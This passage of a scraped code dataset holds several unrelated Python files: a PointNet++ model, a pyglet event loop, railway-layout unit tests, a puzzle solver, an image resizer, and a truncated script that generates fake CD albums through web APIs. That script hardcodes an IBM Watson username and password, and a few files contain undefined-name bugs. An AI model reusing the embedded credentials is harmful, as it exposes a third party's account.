show_version(scoring_version)\r\n","sub_path":"scoring_program/score_corr.py","file_name":"score_corr.py","file_ext":"py","file_size_in_byte":9935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"587531141","text":"from __future__ import (\n division,\n absolute_import,\n with_statement,\n print_function,\n unicode_literals,\n)\nimport torch\nimport torch.nn as nn\nimport etw_pytorch_utils as pt_utils\nfrom collections import namedtuple\ntorch.manual_seed(0)\nfrom pointnet2.utils.pointnet2_modules import PointnetFPModule, PointnetSAModuleMSG\n\nVerbose = True\nlow_dist = 0.03\nimport os\n\ndef plot_points(output_folder, points, scores, dists, index):\n if not os.path.isdir(output_folder):\n os.makedirs(output_folder)\n for batch, cloud in enumerate(points):\n score = scores[batch]\n dist = dists[batch]\n fname = output_folder + \"/{}.csv\".format(str(index[batch].item()))\n with open(fname, 'w+') as f:\n for point_index in range(cloud.shape[0]):\n f.write(f\"{cloud[point_index, 0]},\"\n f\"{cloud[point_index, 1]},\"\n f\"{cloud[point_index, 2]},\"\n f\"{cloud[point_index, 3]},\"\n f\"{cloud[point_index, 4]},\"\n f\"{cloud[point_index, 5]},\"\n f\"{score[point_index].item()},\"\n f\"{dist[point_index].item()}\\n\" )\n\ndef isfinite(x):\n not_inf = ((x + 1) != x)\n not_nan = (x == x)\n return not_inf & not_nan\n\ndef model_fn_decorator(criterion):\n ModelReturn = namedtuple(\"ModelReturn\", [\"preds\", \"loss\", \"acc\"])\n\n def model_fn(model, data, epoch=0, eval=False, pfx=\"\", results_folder=\"\",\n loss_function=None):\n\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n with torch.set_grad_enabled(not eval):\n inputs, labels, dists, index = data\n inputs = inputs.to(device)\n labels = labels.to(device)\n dists = dists.to(device)\n\n preds = model(inputs)\n if loss_function==\"one_class\":\n preds = preds.squeeze(2)\n dists /= torch.max(dists)\n seam_probs = torch.ones_like(dists).to(device) - dists\n plot_points(f\"{results_folder}/points/probs\",\n inputs, labels, seam_probs, index)\n loss = criterion(preds.view(-1), labels.view(-1))\n preds_probabilities = torch.sigmoid(preds)\n # classes is 0 if on seam, 1 if off seam\n classes = torch.where(\n preds_probabilities>torch.Tensor([0.5]).to(device),\n torch.ones_like(preds_probabilities).to(device),\n torch.zeros_like(preds_probabilities).to(device))\n elif loss_function==\"pr\":\n fscore = criterion()\n else:\n loss = criterion(preds.view(labels.numel(), -1),\n labels.view(-1))\n\n preds_probabilities = torch.nn.functional.softmax(preds, -1)\n _, classes = torch.max(preds_probabilities, -1)\n acc = (classes == labels).float().sum() / labels.numel()\n inputs = inputs.cpu().numpy()\n labels = labels.cpu().numpy()\n index = index.numpy()\n\n # Plotting\n gt_folder_name = \"eval_target\" if eval else \"target\"\n pred_folder_name = \"eval_preds\" if eval else \"preds\"\n\n if (eval or (epoch % 10 == 0)) and Verbose:\n plot_points(f\"{results_folder}/points/{gt_folder_name}\",\n inputs, labels, dists, index)\n plot_points(f\"{results_folder}/points/{pred_folder_name}\",\n inputs, preds_probabilities, dists, index)\n results_dict = {\"acc\": acc.item(), \"loss\": loss.item()}\n if eval:\n calculate_pa(classes, dists, results_dict)\n\n if Verbose:\n print(\"loss:\", loss.item())\n print(\"acc\", acc.item())\n\n return ModelReturn(preds_probabilities, loss, results_dict)\n\n return model_fn\n\ndef calculate_pa(classes, dists, results_dict):\n results_dict[\"precision\"] = 0.\n results_dict[\"recall\"] = 0.\n for batch in range(classes.shape[0]):\n res = [dists[batch, i].item() for i, val in enumerate(classes[\n batch].cpu(\n\n ).numpy()) if val == 0]\n cls = [classes[batch].cpu().numpy()[i].item() for i, val in\n enumerate(dists[batch].numpy()) if val <= low_dist]\n cls_cor = [c for c in cls if c == 0]\n results_dict[\"precision\"] += 0. if len(res) == 0 else sum(\n res) / float( len(res)) / float(classes.shape[0])\n results_dict[\"recall\"] += 0. if len(cls) == 0 else len(\n cls_cor) / float(\n len(cls)) / float(classes.shape[0])\nclass Pointnet2MSG(nn.Module):\n r\"\"\"\n PointNet2 with multi-scale grouping\n Semantic segmentation network that uses feature propagation layers\n\n Parameters\n ----------\n num_classes: int\n Number of semantics classes to predict over -- size of softmax classifier that run for each point\n input_channels: int = 6\n Number of input channels in the feature descriptor for each point. If the point cloud is Nx9, this\n value should be 6 as in an Nx9 point cloud, 3 of the channels are xyz, and 6 are feature descriptors\n use_xyz: bool = True\n Whether or not to use the xyz position of a point as a feature\n\n \"\"\"\n\n def __init__(self, num_classes, input_channels=6, use_xyz=True):\n super(Pointnet2MSG, self).__init__()\n\n self.SA_modules = nn.ModuleList()\n c_in = input_channels\n self.SA_modules.append(\n PointnetSAModuleMSG(\n npoint=1024,\n radii=[0.05, 0.1],\n nsamples=[16, 32],\n mlps=[[c_in, 16, 16, 32], [c_in, 32, 32, 64]],\n use_xyz=use_xyz,\n )\n )\n c_out_0 = 32 + 64\n\n c_in = c_out_0\n self.SA_modules.append(\n PointnetSAModuleMSG(\n npoint=256,\n radii=[0.1, 0.2],\n nsamples=[16, 32],\n mlps=[[c_in, 64, 64, 128], [c_in, 64, 96, 128]],\n use_xyz=use_xyz,\n )\n )\n c_out_1 = 128 + 128\n\n c_in = c_out_1\n self.SA_modules.append(\n PointnetSAModuleMSG(\n npoint=64,\n radii=[0.2, 0.4],\n nsamples=[16, 32],\n mlps=[[c_in, 128, 196, 256], [c_in, 128, 196, 256]],\n use_xyz=use_xyz,\n )\n )\n c_out_2 = 256 + 256\n\n c_in = c_out_2\n self.SA_modules.append(\n PointnetSAModuleMSG(\n npoint=16,\n radii=[0.4, 0.8],\n nsamples=[16, 32],\n mlps=[[c_in, 256, 256, 512], [c_in, 256, 384, 512]],\n use_xyz=use_xyz,\n )\n )\n c_out_3 = 512 + 512\n\n self.FP_modules = nn.ModuleList()\n self.FP_modules.append(PointnetFPModule(mlp=[256 + input_channels, 128, 128]))\n self.FP_modules.append(PointnetFPModule(mlp=[512 + c_out_0, 256, 256]))\n self.FP_modules.append(PointnetFPModule(mlp=[512 + c_out_1, 512, 512]))\n self.FP_modules.append(PointnetFPModule(mlp=[c_out_3 + c_out_2, 512, 512]))\n\n self.FC_layer = (\n pt_utils.Seq(128)\n .conv1d(128, bn=True)\n # .dropout()\n .conv1d(1, activation=None)\n )\n\n def _break_up_pc(self, pc):\n xyz = pc[..., 0:3].contiguous()\n features = pc[..., 3:].transpose(1, 2).contiguous() if pc.size(-1) > 3 else None\n\n return xyz, features\n\n def forward(self, pointcloud):\n # type: (Pointnet2MSG, torch.cuda.FloatTensor) -> pt_utils.Seq\n r\"\"\"\n Forward pass of the network\n\n Parameters\n ----------\n pointcloud: Variable(torch.cuda.FloatTensor)\n (B, N, 3 + input_channels) tensor\n Point cloud to run predicts on\n Each point in the point-cloud MUST\n be formated as (x, y, z, features...)\n \"\"\"\n xyz, features = self._break_up_pc(pointcloud)\n\n l_xyz, l_features = [xyz], [features]\n for i in range(len(self.SA_modules)):\n # print(l_xyz[i].shape)\n li_xyz, li_features = self.SA_modules[i](l_xyz[i], l_features[i])\n l_xyz.append(li_xyz)\n l_features.append(li_features)\n\n for i in range(-1, -(len(self.FP_modules) + 1), -1):\n l_features[i - 1] = self.FP_modules[i](\n l_xyz[i - 1], l_xyz[i], l_features[i - 1], l_features[i]\n )\n # print(l_features[i - 1].shape)\n # print(l_features[0].shape)\n return self.FC_layer(l_features[0]).transpose(1, 2).contiguous()\n\n\nif __name__ == \"__main__\":\n from torch.autograd import Variable\n import numpy as np\n import torch.optim as optim\n\n B = 2\n N = 32\n inputs = torch.randn(B, N, 6).cuda()\n labels = torch.from_numpy(np.random.randint(0, 3, size=B * N)).view(B, N).cuda()\n model = Pointnet2MSG(3, input_channels=3)\n model.cuda()\n\n optimizer = optim.Adam(model.parameters(), lr=1e-2)\n\n print(\"Testing with xyz\")\n model_fn = model_fn_decorator(nn.CrossEntropyLoss())\n for index in range(5):\n optimizer.zero_grad()\n preds, loss, acc = model_fn(model, (inputs, labels))\n # print(preds.shape)\n # print(inputs.shape)\n loss.backward()\n print(loss.data[0])\n optimizer.step()\n\n # with use_xyz=False\n inputs = torch.randn(B, N, 6).cuda()\n labels = torch.from_numpy(np.random.randint(0, 3, size=B * N)).view(B, N).cuda()\n model = Pointnet2MSG(3, input_channels=3, use_xyz=False)\n model.cuda()\n\n optimizer = optim.Adam(model.parameters(), lr=1e-2)\n\n print(\"Testing without xyz\")\n model_fn = model_fn_decorator(nn.CrossEntropyLoss())\n for _ in range(5):\n optimizer.zero_grad()\n _, loss, _ = model_fn(model, (inputs, labels))\n loss.backward()\n print(loss.data[0])\n optimizer.step()\n","sub_path":"pointnet2/models/pointnet2_msg_sem.py","file_name":"pointnet2_msg_sem.py","file_ext":"py","file_size_in_byte":10167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"268950525","text":"# ----------------------------------------------------------------------------\n# pyglet\n# Copyright (c) 2006-2008 Alex Holkner\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in\n# the documentation and/or other materials provided with the\n# distribution.\n# * Neither the name of pyglet nor the names of its\n# contributors may be used to endorse or promote products\n# derived from this software without specific prior written\n# permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n# ----------------------------------------------------------------------------\n# $Id:$\n\n__docformat__ = 'restructuredtext'\n__version__ = '$Id: $'\n\nimport ctypes\nimport time\n\nfrom pyglet.app import windows, BaseEventLoop\nfrom pyglet.window.win32 import _user32, types, constants\n\nclass Win32EventLoop(BaseEventLoop):\n def run(self):\n self._setup()\n\n self._timer_proc = types.TIMERPROC(self._timer_func)\n self._timer = timer = _user32.SetTimer(0, 0, 0, self._timer_proc)\n self._polling = False\n self._allow_polling = True\n msg = types.MSG()\n\n self.dispatch_event('on_enter')\n\n while not self.has_exit:\n if self._polling:\n while _user32.PeekMessageW(ctypes.byref(msg),\n 0, 0, 0, constants.PM_REMOVE):\n _user32.TranslateMessage(ctypes.byref(msg))\n _user32.DispatchMessageW(ctypes.byref(msg))\n self._timer_func(0, 0, timer, 0)\n else:\n _user32.GetMessageW(ctypes.byref(msg), 0, 0, 0)\n _user32.TranslateMessage(ctypes.byref(msg))\n _user32.DispatchMessageW(ctypes.byref(msg))\n\n # Manual idle event\n msg_types = \\\n _user32.GetQueueStatus(constants.QS_ALLINPUT) & 0xffff0000\n if (msg.message != constants.WM_TIMER and\n not msg_types & ~(constants.QS_TIMER<<16)):\n self._timer_func(0, 0, timer, 0)\n\n self.dispatch_event('on_exit')\n\n def _idle_chance(self):\n if (self._next_idle_time is not None and\n self._next_idle_time <= time.time()):\n self._timer_func(0, 0, self._timer, 0)\n\n def _timer_func(self, hwnd, msg, timer, t):\n sleep_time = self.idle()\n\n if sleep_time is None:\n # Block indefinitely\n millis = constants.USER_TIMER_MAXIMUM\n self._next_idle_time = None\n self._polling = False\n _user32.SetTimer(0, timer, millis, self._timer_proc)\n elif sleep_time < 0.01 and self._allow_polling:\n # Degenerate to polling\n millis = constants.USER_TIMER_MAXIMUM\n self._next_idle_time = 0.\n if not self._polling:\n self._polling = True\n _user32.SetTimer(0, timer, millis, self._timer_proc)\n else:\n # Block until timer\n # XXX hack to avoid oversleep; needs to be api\n sleep_time = max(sleep_time - 0.01, 0)\n millis = int(sleep_time * 1000)\n self._next_idle_time = time.time() + sleep_time\n self._polling = False\n _user32.SetTimer(0, timer, millis, self._timer_proc)\n","sub_path":"brainworkshop_files/pyglet/app/win32.py","file_name":"win32.py","file_ext":"py","file_size_in_byte":4395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"555527180","text":"import sys\n\n\ndef main():\n start = int(sys.argv[1])\n end = int(sys.argv[2])\n with open('00_games_{}_{}.txt'.format(start, end), 'w') as f:\n f.write('\\n'.join(['games:{}-{}'.format(i, i+3999)\n for i in range(start, end, 4000)]))\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"156060005","text":"import unittest\n\nimport layout.models as layout\nimport layout.detector as detector\nimport layout.train as train\n\nclass test_layouts(object):\n \n def __init__(self):\n pass\n\n def createTestjuncs(self, num):\n junks = []\n for i in range(0, num):\n junks.append(layout.Junction())\n\n return junks\n\n def to_sections(self, tuples):\n sects = []\n\n for t in tuples:\n sects.append(layout.Section(t))\n\n return sects\n\n def layout_straight(self, num):\n j = self.createTestjuncs(num)\n sects_array = [(j[n], j[n+1]) for n in range(0, num-1)]\n sects = self.to_sections(sects_array)\n\n lout = layout.Layout(sects, j)\n return lout\n\n def layout_loop(self, num):\n j = self.createTestjuncs(num)\n sects_array = [(j[n-1], j[n]) for n in range(0, num)]\n sects = self.to_sections(sects_array)\n\n lout = layout.Layout(sects, j)\n return lout\n\n def layout_station_switch(self):\n j= self.createTestjuncs(7)\n sects_array = [(j[0], j[1]), (j[0], j[2]),\n (j[1], j[3]), (j[2], j[4]),\n (j[3], j[5]), (j[4], j[5]),\n (j[5], j[6]), (j[6], j[0])]\n sects = self.to_sections(sects_array)\n\n lout = layout.Layout(sects, j)\n return lout\n\n def layout_straight_one_train(self, num):\n lout = self.layout_straight(num)\n\n lout.bound_sections[0].bound_detector.on_detected()\n\n return lout\n\n def layout_loop_one_Train(self, num):\n lout = self.layout_loop(num)\n \n lout.bound_sections[0].bound_detector.on_detected()\n\n return lout\n\n\n\nclass TestLayout(unittest.TestCase):\n\n def setUp(self):\n self.__factory = test_layouts()\n\n def create_straight_layout(self, num):\n j = self.__factory.createTestjuncs(num+1)\n sects_array = []\n for i in range(0, num):\n sects_array.append((j[i], j[i+1]))\n\n sects = self.__factory.to_sections(sects_array)\n\n return layout.Layout(sects, j)\n\n def test_search_trains_len(self):\n lout = self.create_straight_layout(6)\n\n lout.bound_sections[2].bound_detector.on_detected() #conbined sections\n lout.bound_sections[3].bound_detector.on_detected()\n\n lout.bound_sections[5].bound_detector.on_detected() #one sections\n \n trs = lout.get_trains()\n\n self.assertEqual(len(trs), 2)\n\nclass TestSignal(unittest.TestCase):\n\n def setUp(self):\n pass\n\n def test_signalset(self):\n j1 = layout.Junction()\n j2 = layout.Junction()\n sig = layout.Signal()\n\n sect = layout.Section((j1, j2), signal)\n\nclass TestLayoutDetector(unittest.TestCase):\n \n def setUp(self):\n pass\n\n def test_detected_left(self):\n dc = detector.Detector(lambda sender: self.assertEqual(sender, dc), lambda sender : self.assertEqual(sender, dc))\n \n dc.on_detected() \n dc.on_left()\n\nclass TestLayoutSection(unittest.TestCase):\n\n def setUp(self):\n pass\n\n def test_allocate_detector(self):\n j = (layout.Junction(), layout.Junction())\n\n sect = layout.Section(j)\n d = sect.bound_detector\n\n d.on_detected()\n self.assertEqual(sect.is_exists_train, True)\n\n d.on_left()\n self.assertEqual(sect.is_exists_train, False)\n\nclass TestTrain(unittest.TestCase):\n\n def setUp(self):\n self.__factory = test_layouts()\n\n def _train_step(self, lout):\n trs = lout.get_trains()\n\n for t in trs:\n t.run()\n\n def test_train_run(self):\n lout = self.__factory.layout_straight_one_train(4)\n\n tr = lout.get_trains()[0]\n\n tr.run()\n\n tr = lout.get_trains()[0]\n\n self.assertEqual(tr.current_sections[0], lout.bound_sections[1])\n\n def test_train_run_loop(self):\n lout = self.__factory.layout_loop_one_Train(4)\n\n for i in range(0,4):\n self._train_step(lout)\n\n tr = lout.get_trains()[0]\n self.assertEqual(tr.current_sections[0], lout.bound_sections[0])\n\n def test_train_run_outofrail(self):\n lout = self.__factory.layout_straight_one_train(4)\n \n try:\n for i in range(0,5):\n self._train_step(lout)\n except train.OutOfRailError as e:\n return # success\n \n self.fail()\n\nclass TestRouteSearch(unittest.TestCase):\n\n def setUp(self): \n self.__factory = test_layouts()\n\n def search_test(self, layout, sects, route_expected):\n actual = layout.get_route(sects)\n expected = route_expected\n\n self.assertEqual(expected.sections, actual.sections)\n\n def testStraightcase(self):\n junks = self.__factory.createTestjuncs(3)\n junc_array = [(junks[0], junks[1]), (junks[1], junks[2])]\n sects = self.__factory.to_sections(junc_array)\n lout = layout.Layout(sects, junks)\n \n self.search_test(lout, sects, layout.Route(sects))\n \n\n def testLoop(self):\n j = self.__factory.createTestjuncs(4)\n junc_array = [(j[0], j[1]), (j[1], j[2]), (j[2], j[3]), (j[3], j[0])]\n sects = self.__factory.to_sections(junc_array)\n \n lout = layout.Layout(sects, j)\n\n expected = [sects[0], sects[1], sects[2], sects[3]]\n self.search_test(lout, [sects[0], sects[1], sects[3]], layout.Route(expected))\n \n def testRouteFollowing(self):\n lout = self.__factory.layout_station_switch()\n sects = lout.bound_sections\n sects[7].bound_detector.on_detected()\n\n route = lout.get_route([sects[7], sects[2], sects[6]])\n \n tr = lout.get_trains()[0]\n tr.Route = route\n\n for i in range(0, 4):\n tr.run()\n\n tr = lout.get_trains()[0]\n self.assertEqual(tr.current_sections[0], sects[6]) \n","sub_path":"ServerUtility/TusSolution/TusServer/lib/test/test_layout.py","file_name":"test_layout.py","file_ext":"py","file_size_in_byte":5916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"167007840","text":"# -*- coding: utf-8 -*-\n\"\"\"\n 퍼즐로 배우는 알고리즘 with 파이썬\n 순천향대학교 빅데이터공학과\n 20171483 한태규\n ------------------------- memo -------------------------\n 퍼즐 08\n 누가 저녁 파티에 오지 않게 될까?\n --------------------------------------------------------\n update : 2021.09.13\n\"\"\"\n\n# 8-2\n# 1. 싫어하는 관계를 우선은 생각하지 말고,\n# 저녁 파티에 초대할 수 있는 친구들의 가능한\n# 모든 조합을 생성합니다.\n\n# 2. 각 조합에 싫어하는 관계에 있는 친구들이 \n# 같이 들어있는지 확인하고, 그렇다면 해당 조합을\n# 제거합니다.\n\n# 3. 남아있는 가능한 조합들중 가장 많은 사람이 \n# 포함된 조합을 찾습니다.\n# 이것이 바로 최선의 결과 입니다.\n# 여기에는 같은 수의 친구들을 가진 여러 조합이 있을\n# 수 있습니다.\n\n\n\n# 8 - 3 모든 조합 생성하기\ndef Combinations(n, guestList):\n allCombL = []\n\n # 나올 수 있는 모든 경우의 수 \n # 2^n\n # i : 0 ~ 31\n for i in range(2**n):\n # num 값을 변경하는 연산을 수행해야하기 때문에\n num = i\n cList = []\n \n for j in range(n):\n # i 가 홀수 인 경우\n if num % 2 == 1:\n print(\"nun : \", num)\n print(\"j : \", j)\n print(\"cList1 : \",cList)\n print(\"guestList[{0} - 1 - {1}] : {2}\".format(n, j, guestList[n - 1 - j]))\n cList = [guestList[n - 1 - j]] + cList\n print(\"cList2 : \", cList)\n num = num//2\n print(\"nun : \", num)\n allCombL.append(cList)\n \n return allCombL\n\n# 친하지 않는 조합 제거하기\ndef removeBadCombinations(allCombL, dislikePairs):\n allGoodCombinations = []\n for i in allCombL:\n good = True\n for j in dislikePairs:\n if j[0] in i and j[1] in i:\n good = False\n if good:\n allGoodCombinations.append(i)\n return allGoodCombinations\n\n# 최대 조합 고르기\ndef InviteDinner(guestList, dislikePairs):\n # 모든 조합 생성\n allCombL = Combinations(len(guestList), guestList)\n\n # 친하지 않는 조합 제거하기\n allGoodCombinations = \\\n removeBadCombinations(allCombL, dislikePairs)\n\n invite = []\n for i in allGoodCombinations:\n if len(i) > len(invite):\n invite = i\n\n print(\"Optimun Solution: \", invite)\n\n\nif __name__ == '__main__':\n dislikePairs = [['Alice', 'Bob'], ['Alice', 'Eve']]\n questList = [\"Alice\", \"Bob\", \"Cleo\", \"Don\", \"Eve\"]\n InviteDinner(questList, dislikePairs)\n\n LargeDislikes\n\n\n\n","sub_path":"20171483_한태규_Puzzlie8/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":2653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"275946441","text":"import os\nfrom os import listdir\nfrom PIL import Image\n\ndirectory = \"more_imgs\"\nnewDir = \"more_imgs_resized\"\n\n\nfor dir in listdir(directory):\n\tprint(dir)\n\t#imageName = dir[0].split(\"/\")[1]\n\tim = Image.open(directory + \"/\" + dir)\n\tim = im.resize((768, 512))\n\tim.save(newDir + \"/\" + dir)\n\n\n","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"500140755","text":"# Genesis: CD Catalog Creator\n# Karim Sultan\n#\n# 171001 - Created this script\n\n# Library Imports\nfrom __future__ import print_function\nimport os\nimport sys\nimport urllib\nimport requests\nimport json\nimport shortuuid\nimport time\nfrom random import randint\nfrom shutil import copyfile\nfrom Naked.toolshed.shell import muterun_js\nfrom PIL import Image\nfrom PIL import ImageFont\nfrom PIL import ImageDraw\nfrom watson_developer_cloud import TextToSpeechV1\nfrom os.path import join, dirname\nfrom pydub import AudioSegment\nfrom datetime import datetime\n\n# Some path constants\npath_covers = \"assets/covers/\"\npath_samples = \"assets/samples/\"\npath_sql = \"assets/sql/\"\npath_modules = \"assets/modules/\"\npath_temp = \"assets/temp/\"\npath_fonts =\"assets/fonts/\"\n\n\n# This is the genesis function\n# Builds a CD! (Band, title, title tack sample, cover art, lyrics!)\n\ndef genesis():\n try:\n # Initialize\n string_imagefile = None;\n string_coverfile = None;\n\n # First get a unique id we can use for asset generation\n shortuuid.set_alphabet(\"abcdefghijklmnopqrstuvwxyz\")\n my_uuid = shortuuid.uuid()[:6]\n print(\"Record ID: \", my_uuid)\n\n # Generate the band name\n response = muterun_js (path_modules + \"generator_band.js\")\n string_band = response.stdout.strip()\n print(\"Band: \", string_band)\n\n # Generate the music genre\n response = muterun_js (path_modules + \"generator_genre.js\")\n string_genre = response.stdout.strip()\n print(\"Genre: \", string_genre)\n\n # Generate the CD title (also used for title track)\n response = muterun_js (path_modules + \"generator_title.js\", \\\n arguments=string_genre)\n string_title = response.stdout.strip()\n print(\"CD Title: \", string_title)\n\n # Filter out meaningless keywords, used for imaage search\n response = muterun_js(path_modules + \"filter_keywords.js\", \\\n arguments=\"\\\"\" + string_title + \"\\\"\")\n string_keywords = response.stdout.strip()\n print(\"Keywords: \", string_keywords)\n\n # Retrieve random, associated image from Unsplash for CD cover\n string_url = \"https://source.unsplash.com/600x600/?\" + string_keywords\n string_imagefile = path_covers + \"cover_\" + my_uuid + \".jpg\"\n urllib.urlretrieve (string_url, string_imagefile)\n\n # Generate the font\n response = muterun_js(path_modules + \"generator_font.js\")\n string_font = path_fonts + response.stdout.strip()\n print(\"Font: \", string_font)\n\n # Stamp the CD cover with album name (title) on top, band name on bottom\n pil_image = Image.open (string_imagefile)\n pil_draw = ImageDraw.Draw (pil_image)\n\n # First we need to fit the title to within the width\n size_font = 48\n string_stamp = string_title\n pil_font = ImageFont.truetype(string_font, size_font)\n width, height = pil_draw.textsize (string_stamp, pil_font)\n\n # This approach, to split the string, works but won't return the proper\n # size (height, width) for the box drawing functions do to a PIL bug.\n # Implemented work around below: font sizing\n #if (width + 13 > pil_image.width):\n # Find the middle, find closest space after midpoint, and make it '\\n\n #midpoint = len(string_stamp) / 2\n #index = string_stamp.find(\" \", midpoint)\n #string_stamp = string_stamp[:index] + \"\\n\" + string_stamp[index+1:]\n\n # This is a work around to get around a frustrating PIL bug.\n # Basically, keep reducing font size until title fits on one line.\n while (width + 33 > pil_image.width):\n size_font -= 1\n pil_font = ImageFont.truetype(string_font, size_font)\n width, height = pil_draw.textsize (string_stamp, pil_font)\n print (\" [Reduced font size to \" + str(size_font) + \"]\")\n\n # Next we need to put the shadowbox, textbox, and CD title down\n shadowbox = [(13,13), (width + 20, height + 20)]\n textbox = [(8,8), (width + 15, height + 15)]\n\n # randomize a textbox and a font colour\n colour_textbox = (randint(200,255), randint(200,255), randint(200,255))\n colour_text = (randint(0,128), randint(0,128), randint(0,128))\n pil_draw.rectangle (shadowbox, (10,10,10), (0,0,0))\n pil_draw.rectangle (textbox, colour_textbox, (0,0,0))\n pil_draw.multiline_text((10,10), string_stamp, colour_text, font=pil_font, align=\"left\")\n\n # Now we can do the band name\n pil_font = ImageFont.truetype(string_font, 32)\n width, height = pil_draw.textsize (string_band, pil_font)\n x = 600-width-40\n y = 600-height-50\n shadowbox = [(x+3,y+3), (x+width + 15, y+height + 15)]\n textbox = [(x-2,y-2), (x+width + 10, y+height + 10)]\n pil_draw.rectangle (shadowbox, (10,10,10), (0,0,0))\n pil_draw.rectangle (textbox, colour_textbox, (0,0,0))\n pil_draw.text((x,y), string_band, colour_text, font=pil_font)\n\n pil_image.save(string_imagefile, \"JPEG\")\n print(\"JPG Cover: \", string_imagefile)\n\n # Music is generated from tones.wolfram.com\n # First obtain our genre Wolfram tone NKM genre number\n dictionaryGenre = {\n 'rock':'30',\n 'country':'65',\n 'hiphop':'45',\n 'blues':'55',\n 'electronic':'40',\n 'rnb':'60',\n 'jazz':'50',\n 'latin':'30',\n 'world':'80'}\n\n # Constant userid (for now)\n # If site changes, then update this user ID accordingly\n # See get_userid.py scritp for how we originally got this number\n # NOTE: NKM = New Kind (of) Music\n string_nkmuser = \"user-a13d29f3-43bf-4b00-8e9b-e55639ecde19\"\n print(\"NKM User: \", string_nkmuser)\n\n # Use NKM Genre and NKM User ID to get the NKM id\n print(\"NKM Genre: \", dictionaryGenre[string_genre])\n string_url = \"https://www.wolframcloud.com/objects/\" + string_nkmuser + \\\n \"/NKMNewID?genre=\" + dictionaryGenre[string_genre]\n\n response = requests.get(string_url)\n string_nkmid = response.text.strip(\"\\\"\")\n print(\"NKM ID: \", string_nkmid)\n\n # Now use the NKM ID to get a 15 sec uniquely generated mp3 clip,\n # based on the band/cd genre\n string_url = \"https://www.wolframcloud.com/objects/\" + string_nkmuser + \\\n \"/NKMMusic?id=\" + string_nkmid\n string_instrumentalfile = path_temp + \"instrumental_\" + my_uuid + \".mp3\"\n urllib.urlretrieve (string_url, string_instrumentalfile)\n print(\"MP3 Premix: \", string_instrumentalfile)\n\n # Create lyrics\n response = muterun_js(path_modules + \"generator_lyrics.js\")\n string_lyrics = string_title + \". \" + response.stdout.strip() + \\\n \" \" + string_title + \".\"\n print(\"Lyrics: \", \"Successfully generated\")\n\n # Select the TTS voice\n response = muterun_js(path_modules + \"generator_voice.js\")\n string_voice = response.stdout.strip()\n print(\"Voice: \", string_voice)\n\n # Text to Speech is done by IBM's Bluemix\n # Convert vocals to MP3 using Text to Speech\n string_vocalfile = path_temp + \"vocal_\" + my_uuid + \".mp3\"\n\n # Another web service call, this time to IBM\n text_to_speech = TextToSpeechV1(\n username=\"0327b6b4-770c-45dc-b7e4-f5861bece38a\",\n password=\"yokEUrmcl3fX\",\n x_watson_learning_opt_out=True)\n\n with open(join(dirname(__file__), string_vocalfile), 'wb') as audio_file:\n audio_file.write(text_to_speech.synthesize(string_lyrics, accept='audio/mp3',\n voice=string_voice))\n print(\"MP3 Lyrics: \", string_vocalfile)\n\n # Mix lyrics onto sample\n sound_instrumental = AudioSegment.from_mp3(string_instrumentalfile)\n sound_vocal = AudioSegment.from_mp3(string_vocalfile)\n string_samplefile = path_samples + \"sample_\" + my_uuid + \".mp3\"\n\n mix = sound_instrumental.overlay(sound_vocal, position=3000, gain_during_overlay=-12)\n mix.export(string_samplefile, format=\"mp3\")\n print(\"MP3 Sample: \", string_samplefile)\n\n # Create random quanity and price\n num_quantity = randint(10,50);\n num_price = randint(4,19) + 0.99\n print(\"Qty / $: \", num_quantity, \"units @ $\", num_price, \"each\")\n\n except Exception as e:\n print()\n print(\"ERROR:\" , e)\n print(\"Tidying up interim work assets...\")\n\n if not string_imagefile is None:\n if os.path.isfile(string_imagefile):\n os.remove(string_imagefile);\n\n if not string_samplefile is None:\n if os.path.isfile(string_samplefile):\n os.remove(string_samplefile);\n\n return False\n\n try:\n # Create INSERT SQL statement\n # Removed date field as the table is designed to add date of creation\n # automatically when a record is entered, and there would be a date\n # lag based on the time between this statement date and when the SQL\n # script is executed\n sql_insert = \"INSERT INTO cds\\n\" + \\\n \"(\\n\" + \\\n \" title, band, genre, cover, sample, quantity, price\\n\" + \\\n \")\\n\" + \\\n \"VALUES\\n\" + \\\n \"(\\n\" + \\\n \" \\\"\" + string_title + \"\\\",\\n\" + \\\n \" \\\"\" + string_band + \"\\\",\\n\" + \\\n \" \\\"\" + string_genre + 